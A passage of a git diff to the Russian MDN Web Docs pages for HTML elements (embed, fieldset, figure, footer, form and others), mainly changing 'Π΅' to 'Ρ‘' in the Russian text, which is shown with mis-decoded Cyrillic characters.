Π°Ρ€Ρ‚ΠΈΠΊΠ»ΡŒΒ».</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/html/element/embed/index.html b/files/ru/web/html/element/embed/index.html
index 7fbe94c866..7069cf7d44 100644
--- a/files/ru/web/html/element/embed/index.html
+++ b/files/ru/web/html/element/embed/index.html
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/embed
<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
-<p>{{Note("Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» посвящСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ элСмСнту, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ стандарта HTML5, ΠΈ Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ касаСтся Ρ€Π°Π½Π½ΠΈΡ…, нСстандартизированных Π΅Π³ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ.")}}</p>
+<p>{{Note("Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» посвящён Ρ‚ΠΎΠ»ΡŒΠΊΠΎ элСмСнту, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ стандарта HTML5, ΠΈ Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ касаСтся Ρ€Π°Π½Π½ΠΈΡ…, нСстандартизированных Π΅Π³ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ.")}}</p>
<p>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π²Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² посчитали ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅ΠΉ ΠΈ ΡƒΠ΄Π°Π»ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ встраивания ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠ², Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ использованиС <code>&lt;embed&gt;</code>, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π½Π΅ рСкомСндуСтся, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ваш сайт ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π» Ρƒ всСх Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</p>
@@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/embed
<td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, embedded content, interactive content, palpable content.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚, это {{Glossary("empty element")}}.</td>
</tr>
<tr>
@@ -43,7 +43,7 @@ translation_of: Web/HTML/Element/embed
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ допускаСт встроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}, {{ARIARole("presentation")}}</td>
</tr>
<tr>
@@ -115,7 +115,7 @@ translation_of: Web/HTML/Element/embed
<ul>
<li>Π”Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для встраивания Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, and {{HTMLElement("video")}}.</li>
- <li>Бвойства, для позиционирования и опрСдСлСния размСра Π²Π½Π΅Π΄Ρ€Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² Π΅Π³ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ΅: {{cssxref("object-position")}} and {{cssxref("object-fit")}}</li>
+ <li>Бвойства, для позиционирования и опрСдСлСния размСра Π²Π½Π΅Π΄Ρ€Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² Π΅Π³ΠΎ Ρ„Ρ€Π΅ΠΉΠΌΠ΅: {{cssxref("object-position")}} and {{cssxref("object-fit")}}</li>
</ul>
<p>{{ HTMLRef }}</p>
diff --git a/files/ru/web/html/element/fieldset/index.html b/files/ru/web/html/element/fieldset/index.html
index 2d526b1275..f6cae1b5b4 100644
--- a/files/ru/web/html/element/fieldset/index.html
+++ b/files/ru/web/html/element/fieldset/index.html
@@ -54,9 +54,9 @@ translation_of: Web/HTML/Element/fieldset
<p>{{ EmbedLiveSample('ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ_fieldset', '100%', '80') }}</p>
-<h3 id="ΠžΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ_fieldset">ΠžΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ fieldset</h3>
+<h3 id="ΠžΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ_fieldset">ΠžΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ fieldset</h3>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉΒ <code>&lt;fieldset&gt;</code> с двумя элСмСнтами управлСния Π²Π½ΡƒΡ‚Ρ€ΠΈ.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉΒ <code>&lt;fieldset&gt;</code> с двумя элСмСнтами управлСния Π²Π½ΡƒΡ‚Ρ€ΠΈ.</p>
<pre class="brush: html">&lt;form action="#"&gt;
&lt;fieldset disabled&gt;
@@ -72,7 +72,7 @@ translation_of: Web/HTML/Element/fieldset
&lt;/fieldset&gt;
&lt;/form&gt;</pre>
-<p>{{ EmbedLiveSample('ΠžΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ_fieldset', '100%', '110') }}</p>
+<p>{{ EmbedLiveSample('ΠžΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ_fieldset', '100%', '110') }}</p>
<h2 id="ВСхничСская_сводка">ВСхничСская сводка</h2>
diff --git a/files/ru/web/html/element/figcaption/index.html b/files/ru/web/html/element/figcaption/index.html
index b452665035..4250d317af 100644
--- a/files/ru/web/html/element/figcaption/index.html
+++ b/files/ru/web/html/element/figcaption/index.html
@@ -79,7 +79,7 @@ translation_of: Web/HTML/Element/figcaption
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("html.elements.figcaption")}}</p>
diff --git a/files/ru/web/html/element/figure/index.html b/files/ru/web/html/element/figure/index.html
index 2842179eff..5a04e50384 100644
--- a/files/ru/web/html/element/figure/index.html
+++ b/files/ru/web/html/element/figure/index.html
@@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/figure
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ_ΠΏΠΎ_использованию">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ ΠΏΠΎ использованию</h2>
<ul>
- <li>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ <code>&lt;figure&gt;</code> это рисунок, ΠΈΠ»Π»ΡŽΡΡ‚Ρ€Π°Ρ†ΠΈΡ, Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ°, Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π°, ΠΈ Ρ‚.Π΄., Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пСрСнСсСн Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ»ΠΈ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π½Π°Ρ€ΡƒΡˆΠΈΠ² основной ΠΏΠΎΡ‚ΠΎΠΊ.</li>
+ <li>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ <code>&lt;figure&gt;</code> это рисунок, ΠΈΠ»Π»ΡŽΡΡ‚Ρ€Π°Ρ†ΠΈΡ, Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ°, Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ ΠΊΠΎΠ΄Π°, ΠΈ Ρ‚.Π΄., Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пСрСнСсён Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ»ΠΈ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π½Π°Ρ€ΡƒΡˆΠΈΠ² основной ΠΏΠΎΡ‚ΠΎΠΊ.</li>
<li>Являясь <a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΡ€ΠΎΡ‡ΠΈΠ΅_ΠΌΠΎΠ΄Π΅Π»ΠΈ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°" title="Sections and Outlines of an HTML5 document#Sectioning root">сСкционным ΠΊΠΎΡ€Π½Π΅ΠΌ</a>, структура содСрТимого элСмСнта <code>&lt;figure&gt;</code> ΠΈΡΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΈΠ· основной структуры Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</li>
<li>Подпись ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ связана с элСмСнтом <code>&lt;figure&gt;</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ вставки {{HTMLElement("figcaption")}} Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ (ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ»ΠΈ послСдний ΠΏΠΎΡ‚ΠΎΠΌΠΎΠΊ). ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт <code>&lt;figcaption&gt;</code> Π² ΠΈΠ»Π»ΡŽΡΡ‚Ρ€Π°Ρ†ΠΈΠΈ прСдоставляСт Π΅Ρ‘ подпись (Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ).</li>
</ul>
diff --git a/files/ru/web/html/element/font/index.html b/files/ru/web/html/element/font/index.html
index b3c1310ab8..62125859fc 100644
--- a/files/ru/web/html/element/font/index.html
+++ b/files/ru/web/html/element/font/index.html
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/font
<p>Β </p>
-<pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 336px;"><span lang="ru">Начиная с HTML 4, HTML большС Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилС (Π²Π½Π΅ элСмСнта {{HTMLElement ("style")}} ΠΈΠ»ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° style для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта). Для любой Π½ΠΎΠ²ΠΎΠΉ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ стили Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ написаны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с использованиСм CSS.
+<pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 336px;"><span lang="ru">Начиная с HTML 4, HTML большС Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилС (Π²Π½Π΅ элСмСнта {{HTMLElement ("style")}} ΠΈΠ»ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° style для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта). Для любой Π½ΠΎΠ²ΠΎΠΉ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ стили Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ написаны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с использованиСм CSS.
ΠŸΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ элСмСнта {{HTMLElement ("font")}} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ достигнуто ΠΈ Π΄Π°ΠΆΠ΅ Π»ΡƒΡ‡ΡˆΠ΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS CSS-свойств ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ².</span></pre>
@@ -38,7 +38,7 @@ translation_of: Web/HTML/Element/font
</dd>
<dt>{{htmlattrdef("face")}}</dt>
<dd>
- <pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 312px;"><span lang="ru">Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТит список Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΈΠΌΠ΅Π½ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². ВСкст Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² стилС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ отобраТаСтся Π½Π° ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π³Ρ€Π°Π½ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Π°, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΠΎΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°. Если Π² локальной систСмС Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ ΡˆΡ€ΠΈΡ„Ρ‚, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ»ΠΈ фиксированный ΡˆΡ€ΠΈΡ„Ρ‚ для этой систСмы.</span></pre>
+ <pre class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 312px;"><span lang="ru">Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ содСрТит список Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΈΠΌΡ‘Π½ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². ВСкст Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² стилС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ отобраТаСтся Π½Π° ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π³Ρ€Π°Π½ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Π°, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΠΎΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°. Если Π² локальной систСмС Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ ΡˆΡ€ΠΈΡ„Ρ‚, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ»ΠΈ фиксированный ΡˆΡ€ΠΈΡ„Ρ‚ для этой систСмы.</span></pre>
</dd>
<dt>{{htmlattrdef("size")}}</dt>
<dd>
diff --git a/files/ru/web/html/element/footer/index.html b/files/ru/web/html/element/footer/index.html
index b27f1eeb6b..8d57357ab7 100644
--- a/files/ru/web/html/element/footer/index.html
+++ b/files/ru/web/html/element/footer/index.html
@@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/footer
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ основного ΠΏΠΎΡ‚ΠΎΠΊΠ°</a>, ΠΊΡ€ΠΎΠΌΠ΅ <code>&lt;footer&gt;</code> ΠΈ {{HTMLElement("header")}}.</td>
</tr>
<tr>
@@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/footer
<td>Ни ΠΎΠ΄Π½ΠΎΠ³ΠΎ; Оба Ρ‚Π΅Π³Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</td>
</tr>
<tr>
- <th>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ основного ΠΏΠΎΡ‚ΠΎΠΊΠ°</a> Π² качСствС содСрТимого. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ элСмСнт <code>&lt;footer&gt;</code> Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ элСмСнта {{HTMLElement("address")}}, {{HTMLElement("header")}} ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ элСмСнта <code>&lt;footer&gt;</code>.</td>
</tr>
<tr>
- <th>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
+ <th>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
<td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
</tr>
<tr>
@@ -55,7 +55,7 @@ translation_of: Web/HTML/Element/footer
<ul>
<li>Π—Π°ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅ Π² элСмСнт {{HTMLElement("address")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π² элСмСнт <code>&lt;footer&gt;</code>.</li>
- <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;footer&gt;</code> Π½Π΅ относится ΠΊ сСкционному ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, Π° Π·Π½Π°Ρ‡ΠΈΡ‚ Π½Π΅ создаСт Π½ΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» Π² <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="Π Π°Π·Π΄Π΅Π»Ρ‹ ΠΈ структура Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° HTML5">структурС HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</a>.</li>
+ <li>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;footer&gt;</code> Π½Π΅ относится ΠΊ сСкционному ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ, Π° Π·Π½Π°Ρ‡ΠΈΡ‚ Π½Π΅ создаёт Π½ΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» Π² <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="Π Π°Π·Π΄Π΅Π»Ρ‹ ΠΈ структура Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° HTML5">структурС HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</a>.</li>
</ul>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/html/element/form/index.html b/files/ru/web/html/element/form/index.html
index 070dc37cc3..f826d9ed93 100644
--- a/files/ru/web/html/element/form/index.html
+++ b/files/ru/web/html/element/form/index.html
@@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/form
<dl>
<dt>{{htmlattrdef("accept")}} {{HTMLVersionInline(4)}} {{obsolete_inline}}</dt>
- <dd>Бписок Ρ‚ΠΈΠΏΠΎΠ² содСрТимого, раздСлСнных запятой, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ сСрвСр.
+ <dd>Бписок Ρ‚ΠΈΠΏΠΎΠ² содСрТимого, раздСлённых запятой, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ сСрвСр.
